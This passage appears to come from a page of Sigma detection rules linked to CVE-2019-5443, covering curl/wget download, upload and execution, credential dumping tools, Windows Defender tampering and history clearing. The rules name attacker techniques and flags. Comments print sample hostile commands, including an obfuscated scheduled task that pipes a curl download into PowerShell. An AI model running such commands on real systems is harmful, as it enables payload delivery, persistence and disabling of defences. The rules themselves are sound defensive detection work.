Sigma rules for CVE-2019-5443
63 rules · scoped to cve · back to CVE-2019-5443
Direct rules mention this entity in their title or description. Related rules cover the techniques this entity is known to use.
title: Suspicious Download and Execute Pattern via Curl/Wget
id: a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa
status: experimental
description: |
Detects suspicious use of command-line tools such as curl or wget to download remote
content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by
immediate execution, indicating potential malicious activity. This pattern is commonly used
by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.
references:
- https://gtfobins.github.io/gtfobins/wget/
- https://gtfobins.github.io/gtfobins/curl/
author: Aayush Gupta
date: 2025-06-17
tags:
- attack.execution
- attack.t1059.004
- attack.t1203
logsource:
category: process_creation
product: linux
detection:
selection_downloader:
CommandLine|contains:
- '/curl'
- '/wget'
selection_tmp:
CommandLine|contains:
- '/tmp/'
- '/dev/shm/'
selection_executor:
CommandLine|contains: 'sh -c'
condition: all of selection_*
falsepositives:
- System update scripts using temporary files
- Installer scripts or automated provisioning tools
level: high
title: Suspicious File Download From File Sharing Domain Via Curl.EXE
id: 56454143-524f-49fb-b1c6-3fb8b1ad41fb
status: test
description: Detects potentially suspicious file download from file sharing domains using curl.exe
references:
- https://labs.withsecure.com/publications/fin7-target-veeam-servers
- https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-05
modified: 2025-12-10
tags:
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_websites:
CommandLine|contains:
- '.githubusercontent.com' # Includes both gists and github repositories / Michael Haag (idea)
- 'anonfiles.com'
- 'cdn.discordapp.com'
- 'ddns.net'
- 'dl.dropboxusercontent.com'
- 'ghostbin.co'
- 'github.com'
- 'glitch.me'
- 'gofile.io'
- 'hastebin.com'
- 'mediafire.com'
- 'mega.nz'
- 'onrender.com'
- 'pages.dev'
- 'paste.ee'
- 'pastebin.com'
- 'pastebin.pl'
- 'pastetext.net'
- 'pixeldrain.com'
- 'privatlab.com'
- 'privatlab.net'
- 'send.exploit.in'
- 'sendspace.com'
- 'storage.googleapis.com'
- 'storjshare.io'
- 'supabase.co'
- 'temp.sh'
- 'transfer.sh'
- 'trycloudflare.com'
- 'ufile.io'
- 'w3spaces.com'
- 'workers.dev'
selection_http:
CommandLine|contains: 'http'
selection_flag:
CommandLine|contains:
- ' -O' # covers the alias for --remote-name and --output
- '--remote-name'
- '--output'
selection_ext:
CommandLine|endswith:
- ".ps1"
- ".ps1'"
- '.ps1"'
- ".dat"
- ".dat'"
- '.dat"'
- ".msi"
- ".msi'"
- '.msi"'
- ".bat"
- ".bat'"
- '.bat"'
- ".exe"
- ".exe'"
- '.exe"'
- ".vbs"
- ".vbs'"
- '.vbs"'
- ".vbe"
- ".vbe'"
- '.vbe"'
- ".hta"
- ".hta'"
- '.hta"'
- ".dll"
- ".dll'"
- '.dll"'
- ".psm1"
- ".psm1'"
- '.psm1"'
condition: all of selection_*
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains/info.yml
title: Suspicious File Download From IP Via Curl.EXE
id: 5cb299fc-5fb1-4d07-b989-0644c68b6043
status: test
description: Detects potentially suspicious file downloads directly from IP addresses using curl.exe
references:
- https://labs.withsecure.com/publications/fin7-target-veeam-servers
- https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
- https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-27
tags:
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_ip:
CommandLine|re: '://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
selection_http:
CommandLine|contains: 'http'
selection_flag:
CommandLine|contains:
- ' -O' # covers the alias for --remote-name and --output
- '--remote-name'
- '--output'
selection_ext:
# Note: If you add more extensions please consider adding them also in 9cc85849-3b02-4cb5-b371-3a1ff54f2218
CommandLine|endswith:
- '.bat'
- '.bat"'
- '.dat'
- '.dat"'
- '.dll'
- '.dll"'
- '.exe'
- '.exe"'
- '.gif'
- '.gif"'
- '.hta'
- '.hta"'
- '.jpeg'
- '.jpeg"'
- '.log'
- '.log"'
- '.msi'
- '.msi"'
- '.png'
- '.png"'
- '.ps1'
- '.ps1"'
- '.psm1'
- '.psm1"'
- '.vbe'
- '.vbe"'
- '.vbs'
- '.vbs"'
- ".bat'"
- ".dat'"
- ".dll'"
- ".exe'"
- ".gif'"
- ".hta'"
- ".jpeg'"
- ".log'"
- ".msi'"
- ".png'"
- ".ps1'"
- ".psm1'"
- ".vbe'"
- ".vbs'"
condition: all of selection_*
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions/info.yml
title: Curl Download And Execute Combination
id: 21dd6d38-2b18-4453-9404-a0fe4a0cc288
status: test
description: Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.
references:
- https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983 # Dead Link
author: Sreeman, Nasreddine Bencherchali (Nextron Systems)
date: 2020-01-13
modified: 2024-03-05
tags:
- attack.stealth
- attack.t1218
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|windash: ' -c '
CommandLine|contains|all:
- 'curl '
- 'http'
- '-o'
- '&'
condition: selection
falsepositives:
- Unknown
level: high
title: Suspicious Curl.EXE Download
id: e218595b-bbe7-4ee5-8a96-f32a24ad3468
related:
- id: bbeaed61-1990-4773-bf57-b81dbad7db2d # Basic curl execution
type: derived
- id: 9a517fca-4ba3-4629-9278-a68694697b81 # Curl download
type: similar
status: test
description: Detects a suspicious curl process start on Windows and outputs the requested document to a local file
references:
- https://twitter.com/max_mal_/status/1542461200797163522
- https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464
- https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt
- https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/
- https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2020-07-03
modified: 2023-02-21
tags:
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_curl:
- Image|endswith: '\curl.exe'
- Product: 'The curl executable'
selection_susp_locations:
CommandLine|contains:
- '%AppData%'
- '%Public%'
- '%Temp%'
- '%tmp%'
- '\AppData\'
- '\Desktop\'
- '\Temp\'
- '\Users\Public\'
- 'C:\PerfLogs\'
- 'C:\ProgramData\'
- 'C:\Windows\Temp\'
selection_susp_extensions:
CommandLine|endswith:
- '.dll'
- '.gif'
- '.jpeg'
- '.jpg'
- '.png'
- '.temp'
- '.tmp'
- '.txt'
- '.vbe'
- '.vbs'
filter_optional_git_windows:
# Example FP
# CommandLine: "C:\Program Files\Git\mingw64\bin\curl.exe" --silent --show-error --output C:/Users/test/AppData/Local/Temp/gfw-httpget-jVOEoxbS.txt --write-out %{http_code} https://gitforwindows.org/latest-tag.txt
ParentImage: 'C:\Program Files\Git\usr\bin\sh.exe'
Image: 'C:\Program Files\Git\mingw64\bin\curl.exe'
CommandLine|contains|all:
- '--silent --show-error --output '
- 'gfw-httpget-'
- 'AppData'
condition: selection_curl and 1 of selection_susp_* and not 1 of filter_optional_*
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_susp_download/info.yml
simulation:
- type: atomic-red-team
name: Curl Download File
technique: T1105
atomic_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a
title: Suspicious Curl File Upload - Linux
id: 00b90cc1-17ec-402c-96ad-3a8117d7a582
related:
- id: 00bca14a-df4e-4649-9054-3f2aa676bc04
type: derived
status: test
description: Detects a suspicious curl process start the adds a file to a web request
references:
- https://twitter.com/d1r4c/status/1279042657508081664
- https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file
- https://curl.se/docs/manpage.html
- https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
author: Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)
date: 2022-09-15
modified: 2023-05-02
tags:
- attack.exfiltration
- attack.command-and-control
- attack.t1567
- attack.t1105
logsource:
category: process_creation
product: linux
detection:
selection_img:
Image|endswith: '/curl'
selection_cli:
- CommandLine|contains:
- ' --form' # Also covers the "--form-string"
- ' --upload-file '
- ' --data '
- ' --data-' # For flags like: "--data-ascii", "--data-binary", "--data-raw", "--data-urlencode"
- CommandLine|re: '\s-[FTd]\s' # We use regex to ensure a case sensitive argument detection
filter_optional_localhost:
CommandLine|contains:
- '://localhost'
- '://127.0.0.1'
condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
- Scripts created by developers and admins
level: medium
title: Suspicious Curl Change User Agents - Linux
id: b86d356d-6093-443d-971c-9b07db583c68
related:
- id: 3286d37a-00fd-41c2-a624-a672dcd34e60
type: derived
status: test
description: Detects a suspicious curl process start on linux with set useragent options
references:
- https://curl.se/docs/manpage.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-15
tags:
- attack.command-and-control
- attack.t1071.001
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/curl'
CommandLine|contains:
- ' -A '
- ' --user-agent '
condition: selection
falsepositives:
- Scripts created by developers and admins
- Administrative activity
level: medium
title: Insecure Transfer Via Curl.EXE
id: cb9cc1d1-e84e-4bdc-b7ad-c31b1b7908ec
status: test
description: Detects execution of "curl.exe" with the "--insecure" flag.
references:
- https://curl.se/docs/manpage.html
author: X__Junior (Nextron Systems)
date: 2023-06-30
tags:
- attack.execution
logsource:
product: windows
category: process_creation
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_cli:
- CommandLine|re: '\s-k\s'
- CommandLine|contains: '--insecure'
condition: all of selection_*
falsepositives:
- Access to badly maintained internal or development systems
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_connection/info.yml
title: Renamed CURL.EXE Execution
id: 7530cd3d-7671-43e3-b209-976966f6ea48
status: test
description: Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields
references:
- https://twitter.com/Kostastsale/status/1700965142828290260
author: X__Junior (Nextron Systems)
date: 2023-09-11
modified: 2023-10-12
tags:
- attack.execution
- attack.stealth
- attack.t1059
- attack.t1202
logsource:
category: process_creation
product: windows
detection:
selection:
- OriginalFileName: 'curl.exe'
- Description: 'The curl executable'
filter_main_img:
Image|contains: '\curl'
condition: selection and not 1 of filter_main_*
falsepositives:
- Unknown
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_curl/info.yml
title: Scheduled Task Creation with Curl and PowerShell Execution Combo
id: 1d174d38-8fda-4081-a9b6-56d9763c0cd8
status: experimental
description: |
Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.
This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.
references:
- https://tria.ge/241015-l98snsyeje/behavioral2
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-02-05
tags:
- attack.privilege-escalation
- attack.execution
- attack.persistence
- attack.stealth
- attack.t1053.005
- attack.t1218
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
# Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
selection_img:
Image|endswith: '\schtasks.exe'
CommandLine|contains|windash: ' /create '
selection_curl:
CommandLine|contains|all:
- 'curl '
- 'http'
- '-o'
selection_powershell:
CommandLine|contains: 'powershell'
condition: all of selection_*
falsepositives:
- Legitimate use of schtasks for administrative purposes.
- Automation scripts combining curl and PowerShell in controlled environments.
level: medium
title: Local File Read Using Curl.EXE
id: aa6f6ea6-0676-40dd-b510-6e46f02d8867
status: test
description: Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.
references:
- https://curl.se/docs/manpage.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-27
tags:
- attack.execution
logsource:
product: windows
category: process_creation
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_cli:
CommandLine|contains: 'file:///'
condition: all of selection_*
falsepositives:
- Unknown
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_local_file_read/info.yml
title: Curl Web Request With Potential Custom User-Agent
id: 85de1f22-d189-44e4-8239-dc276b45379b
status: test
description: Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings
references:
- https://labs.withsecure.com/publications/fin7-target-veeam-servers
- https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-27
modified: 2025-12-11
tags:
- attack.execution
logsource:
category: process_creation
product: windows
detection:
# Example: This command line would trigger the rule
# curl.exe -H "User-Agent: EvilAgent" http://malicious.example.com
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_header_flag_1:
CommandLine|re: '\s-H\s' # Must be Regex as the flag needs to be case sensitive
selection_header_flag_2:
CommandLine|contains: '--header'
selection_user_agent:
CommandLine|contains: 'User-Agent:'
condition: selection_img and 1 of selection_header_* and selection_user_agent
falsepositives:
- Unknown
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent/info.yml
title: File Download From IP URL Via Curl.EXE
id: 9cc85849-3b02-4cb5-b371-3a1ff54f2218
related:
- id: 5cb299fc-5fb1-4d07-b989-0644c68b6043
type: similar
status: test
description: Detects file downloads directly from IP address URL using curl.exe
references:
- https://labs.withsecure.com/publications/fin7-target-veeam-servers
- https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
- https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-10-18
tags:
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_ip:
CommandLine|re: '://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
selection_http:
CommandLine|contains: 'http'
selection_flag:
CommandLine|contains:
- ' -O' # covers the alias for --remote-name and --output
- '--remote-name'
- '--output'
filter_main_ext:
# Note: This filter exists to avoid duplication with 5cb299fc-5fb1-4d07-b989-0644c68b6043
CommandLine|endswith:
- '.bat'
- '.bat"'
- '.dat'
- '.dat"'
- '.dll'
- '.dll"'
- '.exe'
- '.exe"'
- '.gif'
- '.gif"'
- '.hta'
- '.hta"'
- '.jpeg'
- '.jpeg"'
- '.log'
- '.log"'
- '.msi'
- '.msi"'
- '.png'
- '.png"'
- '.ps1'
- '.ps1"'
- '.psm1'
- '.psm1"'
- '.vbe'
- '.vbe"'
- '.vbs'
- '.vbs"'
- ".bat'"
- ".dat'"
- ".dll'"
- ".exe'"
- ".gif'"
- ".hta'"
- ".jpeg'"
- ".log'"
- ".msi'"
- ".png'"
- ".ps1'"
- ".psm1'"
- ".vbe'"
- ".vbs'"
condition: all of selection_* and not 1 of filter_main_*
falsepositives:
- Unknown
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec/info.yml
title: Insecure Proxy/DOH Transfer Via Curl.EXE
id: 2c1486f5-02e8-4f86-9099-b97f2da4ed77
status: test
description: Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.
references:
- https://curl.se/docs/manpage.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-27
tags:
- attack.execution
logsource:
product: windows
category: process_creation
detection:
selection_img:
- Image|endswith: '\curl.exe'
- OriginalFileName: 'curl.exe'
selection_cli:
CommandLine|contains:
- '--doh-insecure'
- '--proxy-insecure'
condition: all of selection_*
falsepositives:
- Access to badly maintained internal or development systems
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_proxy_or_doh/info.yml
title: Curl Usage on Linux
id: ea34fb97-e2c4-4afb-810f-785e4459b194
status: test
description: Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server
references:
- https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-15
tags:
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/curl'
condition: selection
falsepositives:
- Scripts created by developers and admins
- Administrative activity
level: low
title: HackTool - Windows Credential Editor (WCE) Execution
id: 7aa7009a-28b9-4344-8c1f-159489a390df
status: test
description: |
Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory.
It is often used by threat actors for credential dumping and lateral movement within compromised networks.
references:
- https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2025-10-21
tags:
- attack.credential-access
- attack.t1003.001
- attack.s0005
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\WCE.exe'
- '\WCE64.exe'
selection_hash:
Hashes|contains:
- 'IMPHASH=136F0A8572C058A96436C82E541E4C41'
- 'IMPHASH=589657C64DDE88533186C39F82FA1F50'
- 'IMPHASH=6BFE09EFCB4FFDE061EBDBAFC4DB84CF'
- 'IMPHASH=7D490037BF450877E6D0287BDCFF8D2E'
- 'IMPHASH=8AB93B061287C79F3088C5BC7E7D97ED'
- 'IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F'
- 'IMPHASH=BA434A7A729EEC20E136CA4C32D6C740'
- 'IMPHASH=BD1D1547DA13C0FCB6C15E86217D5EB8'
- 'IMPHASH=E96A73C7BF33A464C510EDE582318BF2'
condition: 1 of selection_*
falsepositives:
- Unknown
level: critical
title: Windows Credential Editor Registry
id: a6b33c02-8305-488f-8585-03cb2a7763f2
status: test
description: Detects the use of Windows Credential Editor (WCE)
references:
- https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2021-11-27
tags:
- attack.credential-access
- attack.t1003.001
- attack.s0005
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains: Services\WCESERVICE\Start
condition: selection
falsepositives:
- Unknown
level: critical
title: OpenCanary - MSSQL Login Attempt Via Windows Authentication
id: 6e78f90f-0043-4a01-ac41-f97681613a66
status: test
description: |
Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
references:
- https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
- https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
- attack.credential-access
- attack.collection
- attack.t1003
- attack.t1213
logsource:
category: application
product: opencanary
detection:
selection:
logtype: 9002
condition: selection
falsepositives:
- Unlikely
level: high
title: Windows LAPS Credential Dump From Entra ID
id: a4b25073-8947-489c-a8dd-93b41c23f26d
status: test
description: Detects when an account dumps the LAPS password from Entra ID.
references:
- https://twitter.com/NathanMcNulty/status/1785051227568632263
- https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/
- https://techcommunity.microsoft.com/t5/microsoft-entra-blog/introducing-windows-local-administrator-password-solution-with/ba-p/1942487
author: andrewdanis
date: 2024-06-26
tags:
- attack.privilege-escalation
- attack.persistence
- attack.t1098.005
logsource:
product: azure
service: auditlogs
detection:
selection:
category: 'Device'
activityType|contains: 'Recover device local administrator password'
additionalDetails.additionalInfo|contains: 'Successfully recovered local credential by device id'
condition: selection
falsepositives:
- Approved activity performed by an Administrator.
level: high
title: Tamper Windows Defender - PSClassic
id: ec19ebab-72dc-40e1-9728-4c0b805d722c
related:
- id: 14c71865-6cd3-44ae-adaa-1db923fae5f2
type: similar
status: test
description: Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2021-06-07
modified: 2024-01-02
tags:
- attack.defense-impairment
- attack.t1685
logsource:
product: windows
category: ps_classic_provider_start
detection:
selection_set_mppreference:
Data|contains: 'Set-MpPreference'
selection_options_bool_allow:
Data|contains:
- '-dbaf $true'
- '-dbaf 1'
- '-dbm $true'
- '-dbm 1'
- '-dips $true'
- '-dips 1'
- '-DisableArchiveScanning $true'
- '-DisableArchiveScanning 1'
- '-DisableBehaviorMonitoring $true'
- '-DisableBehaviorMonitoring 1'
- '-DisableBlockAtFirstSeen $true'
- '-DisableBlockAtFirstSeen 1'
- '-DisableCatchupFullScan $true'
- '-DisableCatchupFullScan 1'
- '-DisableCatchupQuickScan $true'
- '-DisableCatchupQuickScan 1'
- '-DisableIntrusionPreventionSystem $true'
- '-DisableIntrusionPreventionSystem 1'
- '-DisableIOAVProtection $true'
- '-DisableIOAVProtection 1'
- '-DisableRealtimeMonitoring $true'
- '-DisableRealtimeMonitoring 1'
- '-DisableRemovableDriveScanning $true'
- '-DisableRemovableDriveScanning 1'
- '-DisableScanningMappedNetworkDrivesForFullScan $true'
- '-DisableScanningMappedNetworkDrivesForFullScan 1'
- '-DisableScanningNetworkFiles $true'
- '-DisableScanningNetworkFiles 1'
- '-DisableScriptScanning $true'
- '-DisableScriptScanning 1'
- '-MAPSReporting $false'
- '-MAPSReporting 0'
- '-drdsc $true'
- '-drdsc 1'
- '-drtm $true'
- '-drtm 1'
- '-dscrptsc $true'
- '-dscrptsc 1'
- '-dsmndf $true'
- '-dsmndf 1'
- '-dsnf $true'
- '-dsnf 1'
- '-dss $true'
- '-dss 1'
selection_options_actions_func:
Data|contains:
- 'HighThreatDefaultAction Allow'
- 'htdefac Allow'
- 'LowThreatDefaultAction Allow'
- 'ltdefac Allow'
- 'ModerateThreatDefaultAction Allow'
- 'mtdefac Allow'
- 'SevereThreatDefaultAction Allow'
- 'stdefac Allow'
condition: selection_set_mppreference and 1 of selection_options_*
falsepositives:
- Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated.
level: high
title: Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging
id: ae2bdd58-0681-48ac-be7f-58ab4e593458
related:
- id: 07e3cb2c-0608-410d-be4b-1511cb1a0448
type: similar
status: test
description: Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet
references:
- https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-05
tags:
- attack.defense-impairment
- attack.t1685
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_remove:
ScriptBlockText|contains: 'Remove-MpPreference'
selection_tamper:
ScriptBlockText|contains:
- '-ControlledFolderAccessProtectedFolders '
- '-AttackSurfaceReductionRules_Ids '
- '-AttackSurfaceReductionRules_Actions '
- '-CheckForSignaturesBeforeRunningScan '
condition: all of selection_*
falsepositives:
- Legitimate PowerShell scripts
level: high
title: Tamper Windows Defender - ScriptBlockLogging
id: 14c71865-6cd3-44ae-adaa-1db923fae5f2
related:
- id: ec19ebab-72dc-40e1-9728-4c0b805d722c
type: derived
status: test
description: Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
- https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps
- https://bidouillesecurity.com/disable-windows-defender-in-powershell/
author: frack113, elhoim, Tim Shelton (fps, alias support), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)
date: 2022-01-16
modified: 2024-01-02
tags:
- attack.defense-impairment
- attack.t1685
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_options_disabling_preference:
ScriptBlockText|contains: 'Set-MpPreference'
selection_options_disabling_function:
ScriptBlockText|contains:
- '-dbaf $true'
- '-dbaf 1'
- '-dbm $true'
- '-dbm 1'
- '-dips $true'
- '-dips 1'
- '-DisableArchiveScanning $true'
- '-DisableArchiveScanning 1'
- '-DisableBehaviorMonitoring $true'
- '-DisableBehaviorMonitoring 1'
- '-DisableBlockAtFirstSeen $true'
- '-DisableBlockAtFirstSeen 1'
- '-DisableCatchupFullScan $true'
- '-DisableCatchupFullScan 1'
- '-DisableCatchupQuickScan $true'
- '-DisableCatchupQuickScan 1'
- '-DisableIntrusionPreventionSystem $true'
- '-DisableIntrusionPreventionSystem 1'
- '-DisableIOAVProtection $true'
- '-DisableIOAVProtection 1'
- '-DisableRealtimeMonitoring $true'
- '-DisableRealtimeMonitoring 1'
- '-DisableRemovableDriveScanning $true'
- '-DisableRemovableDriveScanning 1'
- '-DisableScanningMappedNetworkDrivesForFullScan $true'
- '-DisableScanningMappedNetworkDrivesForFullScan 1'
- '-DisableScanningNetworkFiles $true'
- '-DisableScanningNetworkFiles 1'
- '-DisableScriptScanning $true'
- '-DisableScriptScanning 1'
- '-MAPSReporting $false'
- '-MAPSReporting 0'
- '-drdsc $true'
- '-drdsc 1'
- '-drtm $true'
- '-drtm 1'
- '-dscrptsc $true'
- '-dscrptsc 1'
- '-dsmndf $true'
- '-dsmndf 1'
- '-dsnf $true'
- '-dsnf 1'
- '-dss $true'
- '-dss 1'
selection_other_default_actions_allow:
ScriptBlockText|contains: 'Set-MpPreference'
selection_other_default_actions_func:
ScriptBlockText|contains:
- 'HighThreatDefaultAction Allow'
- 'htdefac Allow'
- 'LowThreatDefaultAction Allow'
- 'ltdefac Allow'
- 'ModerateThreatDefaultAction Allow'
- 'mtdefac Allow'
- 'SevereThreatDefaultAction Allow'
- 'stdefac Allow'
condition: all of selection_options_disabling_* or all of selection_other_default_actions_*
falsepositives:
- Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated.
level: high
title: Clearing Windows Console History
id: bde47d4b-9987-405c-94c7-b080410e8ea7
status: test
description: Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.
references:
- https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/
- https://www.shellhacks.com/clear-history-powershell/
- https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics
author: Austin Songer @austinsonger
date: 2021-11-25
modified: 2022-12-25
tags:
- attack.stealth
- attack.t1070
- attack.t1070.003
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection1:
ScriptBlockText|contains: Clear-History
selection2a:
ScriptBlockText|contains:
- Remove-Item
- rm
selection2b:
ScriptBlockText|contains:
- ConsoleHost_history.txt
- (Get-PSReadlineOption).HistorySavePath
condition: selection1 or selection2a and selection2b
falsepositives:
- Unknown
level: high
title: PowerShell Set-Acl On Windows Folder - PsScript
id: 3bf1d859-3a7e-44cb-8809-a99e066d3478
related:
- id: cae80281-ef23-44c5-873b-fd48d2666f49 # PsScript Low
type: derived
- id: 0944e002-e3f6-4eb5-bf69-3a3067b53d73 # ProcCreation Susp
type: derived
- id: bdeb2cff-af74-4094-8426-724dc937f20a # ProcCreation Low
type: derived
status: test
description: Detects PowerShell scripts to set the ACL to a file in the Windows folder
references:
- https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-18
tags:
- attack.defense-impairment
- attack.t1222
logsource:
product: windows
category: ps_script
definition: bade5735-5ab0-4aa7-a642-a11be0e40872
detection:
selection_cmdlet:
ScriptBlockText|contains|all:
- 'Set-Acl '
- '-AclObject '
selection_paths:
# Note: Add more suspicious paths
ScriptBlockText|contains:
- '-Path "C:\Windows'
- '-Path "C:/Windows'
- "-Path 'C:\\Windows"
- "-Path 'C:/Windows"
- '-Path C:\\Windows'
- '-Path C:/Windows'
- '-Path $env:windir'
